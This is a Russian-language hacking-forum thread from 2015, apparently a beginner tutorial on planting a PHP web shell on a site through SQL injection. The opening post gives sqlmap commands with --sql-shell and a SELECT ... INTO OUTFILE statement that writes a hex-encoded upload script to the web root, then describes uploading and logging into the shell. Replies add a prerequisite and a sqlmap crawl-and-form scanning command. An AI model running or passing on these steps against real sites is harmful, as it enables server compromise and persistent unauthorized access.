ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Загрузка Web Shell через SQLmap [for newbies] (https://forum.antichat.xyz/showthread.php?t=425416)

Bezlishke 18.05.2015 12:14

Доброго времени суток, друзья.

Я давно натыкался на статейку, сейчас уже не могу её найти. Но думаю вам будет интересно почитать.

Сразу говорю, статья не для пропентестеров, а для тех кто только начинает свой путь в этой сфере. Не судите строго...

Для начала нам понадобится:

1) PHPSHell

2) SQLmap

3) Скрипт на пхыеСкрипт аплоада на Пых'е

=============================

Первым делом, после того как мы нашли уязвимость, нам надо получить FPD. Варинтов множество, но мне обычно подходит Array[] Parameter инъекция.

Цитата:

Сообщение от None

И получаем ожидаемое.

Цитата:

Сообщение от None
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/relax/public_html/index.php on line 59

Далее нам нужно перевезти код "нашего" скрипта для аплоада в hex. На выхлопе мы получаем незатейливый кодец и стремительно запускаем скульмап. Для получения максимальной информации я стараюсь убить двух зайцев сразу, чего и вам советую. Помимо того, что мы хотим попасть в шелл SQL было бы славно познакомиться с базой.

Цитата:

Сообщение от None
python sqlmap.py --url=
http://www.example.com/index.php?id=1
--random-agent -f --dbs --tables --thrads 10 --sql-shell

Перед нашими глазами воспрянет:

Цитата:

Сообщение от None
[15:35:06] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.5, Apache 2.2.17
back-end DBMS: MySQL 5
[15:35:06] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

Наша команда должна иметь вид:

Код:

SELECT 0xНаш_хекс_код INTO OUTFILE "Полный/путь/и_имя/файла.php";
Допустим мы назвали его upload.php, значит дико-бешено бежим на http://www.example.com/upload.php. Заливаем шелл и занимаемся его поиском. После чего можно логиниться на него и продолжать идти к намеченной цели.

===========

Работает это только на MySQL и только с file-priv "Y"

Статья написана в ознакомительных целях, только для расширения кругозора новичков. Автор не несёт ответственности на её использование.

faza02 18.05.2015 12:22

забыли еще одно обязательное условие

Suicide 18.05.2015 12:23

Не знаю.. Ник идентичный, но

https://exploit.in/forum/index.php?showtopic=86961 10.02.2015

Bezlishke 18.05.2015 12:25

Цитата:

Сообщение от Suicide

Не знаю.. Ник идентичный, но
https://exploit.in/forum/index.php?showtopic=86961
10.02.2015

Так-то это я. Могу копипастить своё сколько угодно. Или же нет?

Suicide 18.05.2015 12:29

Цитата:

Сообщение от Bezlishke

Так-то это я.
Могу копипастить своё сколько угодно. Или же нет?

Ну раз "я"..

Всё дело в знаниях, актуальности и востребованности.. мб и "могу", но с февраля уж столько прошло и потом вот это

Цитата:

Сообщение от Bezlishke

Работает это только на MySQL и только с file-priv "Y"

такое призрачное, но флаг в руки если кто-то воспользуется, но для начала откопает..

Bezlishke 18.05.2015 12:31

Цитата:

Сообщение от Suicide

Всё дело в знаниях, актуальности и востребованности.. мб и "могу", но с февраля уж столько прошло и потом вот это

Цитата:

Сообщение от Bezlishke

Статья написана в ознакомительных целях, только для расширения кругозора новичков.

Цитата:

Сообщение от Suicide

такое призрачное, но флаг в руки если кто-то воспользуется, но для начала откопает..

Я до сих пор нахожу иногда

BabaDook 18.05.2015 12:41

ну вообще кошмар. давно ещё на эксплоите видел, ужас, кошмар. Ужас. нет слов.

faza02 18.05.2015 14:10

так вот еще одно обязательное условие: реальные кавычки в пути до файла. /threads/34338/

Bezlishke 18.05.2015 16:08

Цитата:

Сообщение от faza02

так вот еще одно обязательное условие: реальные кавычки в пути до файла.
/threads/34338/

Спасибо. Буду дома дополню

BabaDook 18.05.2015 16:33

Наверное словосочетание sqlmap сканер, уже потеряло актуальность.

Однако sql не только инструмент для "раскрутки" уязвимости. Но он ещё реально сканер, да-да, сканер, и как вы догадались он находит sql уязвимые параметры в GET and POST запросах

Вот маленький пример

sqlmap --random-agent -u site.org --form --crawl=2 --batch

Где : --form "обработка" post данных альтернатива (--data )

--crawl=2


Время: 12:58